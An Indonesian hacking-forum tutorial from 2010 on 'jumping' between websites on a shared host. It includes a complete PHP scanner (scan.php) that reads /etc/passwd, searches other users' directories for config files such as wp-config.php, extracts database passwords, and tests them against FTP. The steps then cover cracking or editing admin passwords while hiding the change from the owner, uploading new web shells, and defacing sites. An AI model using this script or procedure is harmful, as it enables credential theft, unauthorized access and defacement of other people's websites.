[TUTORIAL] Simple Jumping Shell
Posted: Sat May 15, 2010 10:26 am
Hehehe Mav Pertama Kali Sharing Tutorial, kalo uda ngerti mav ya ,, sharing aja
Ni sistemnya cm scanning Dir website yang satu hosting dengan shell yang kita punya ( ga semuanya shell berhasil )
biasanya kalo open read /etc/passwd terbuka seperti dibawah kadang bisa discan
1. siapkan shell yang kamu punya
2. upload scan.php
3. Buka file scan.php msl: http://targer.com/scan.php
tunggu beberapa saat, emang agak lama
4. Buka shell kamu copykan hasil scannan tadi ke change dir shell kamu ato masukkan dir config ke read file
5. Setelah dapat login Sql dbnya ,, crack dah passwordnya ,, kalo ga bisa di crack edit aja ,,
asal jangan lupa ntar dikembalikan kesemula ,, biar admin ga tau ,,
6. Setelah itu login di admin page webnya
7. upload dah shell baru ,, ato deface ,,
mav kalo kurang jelas ato repost ,,
Thankz for All :circle:
Ni sistemnya cm scanning Dir website yang satu hosting dengan shell yang kita punya ( ga semuanya shell berhasil )
biasanya kalo open read /etc/passwd terbuka seperti dibawah kadang bisa discan
Code: Select all
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
2. upload scan.php
Code: Select all
<?php
echo "<html>";
echo "<title>JU4RA | CYBER Forum Yogyafree Keren Yach</title><body>";
set_time_limit(0);
##################
@$passwd=fopen('/etc/passwd','r');
if (!$passwd) {
echo "[-] Error : coudn't read /etc/passwd";
exit;
}
$path_to_public=array();
$users=array();
$pathtoconf=array();
$i=0;
while(!feof($passwd)) {
$str=fgets($passwd);
if ($i>35) {
$pos=strpos($str,":");
$username=substr($str,0,$pos);
$dirz="/home/$username/public_html/";
if (($username!="")) {
if (is_readable($dirz)) {
array_push($users,$username);
array_push($path_to_public,$dirz);
}
}
}
$i++;
}
###################
#########################
echo "<br><br>";
echo "<textarea name='main_window' cols=100 rows=20>";
echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n";
echo "[+] Founded ".sizeof($path_to_public)." readable public_html directories\n";
echo "[~] Searching for passwords in config.* files...\n\n";
foreach ($users as $user) {
$path="/home/$user/public_html/";
read_dir($path,$user);
}
echo "\n[+] Done\n";
function read_dir($path,$username) {
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
$fpath="$path$file";
if (($file!='.') and ($file!='..')) {
if (is_readable($fpath)) {
$dr="$fpath/";
if (is_dir($dr)) {
read_dir($dr,$username);
}
else {
if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or ($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='configuration.php') or ($file=='db_connect.php')) {
$pass=get_pass($fpath);
if ($pass!='') {
echo "[+] $fpath\n$pass\n";
ftp_check($username,$pass);
}
}
}
}
}
}
}
}
function get_pass($link) {
@$config=fopen($link,'r');
while(!feof($config)) {
$line=fgets($config);
if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd')) {
if (strrpos($line,'"'))
$pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3)));
else
$pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3)));
return $pass;
}
}
}
function ftp_check($login,$pass) {
@$ftp=ftp_connect('127.0.0.1');
if ($ftp) {
@$res=ftp_login($ftp,$login,$pass);
if ($res) {
echo '[FTP] '.$login.':'.$pass." Success\n";
}
else ftp_quit($ftp);
}
}
echo "</textarea><br>";
echo "</body></html>";
?>
tunggu beberapa saat, emang agak lama
4. Buka shell kamu copykan hasil scannan tadi ke change dir shell kamu ato masukkan dir config ke read file
5. Setelah dapat login Sql dbnya ,, crack dah passwordnya ,, kalo ga bisa di crack edit aja ,,
asal jangan lupa ntar dikembalikan kesemula ,, biar admin ga tau ,,
6. Setelah itu login di admin page webnya
7. upload dah shell baru ,, ato deface ,,
mav kalo kurang jelas ato repost ,,
Thankz for All :circle:
ijin mempelajari bro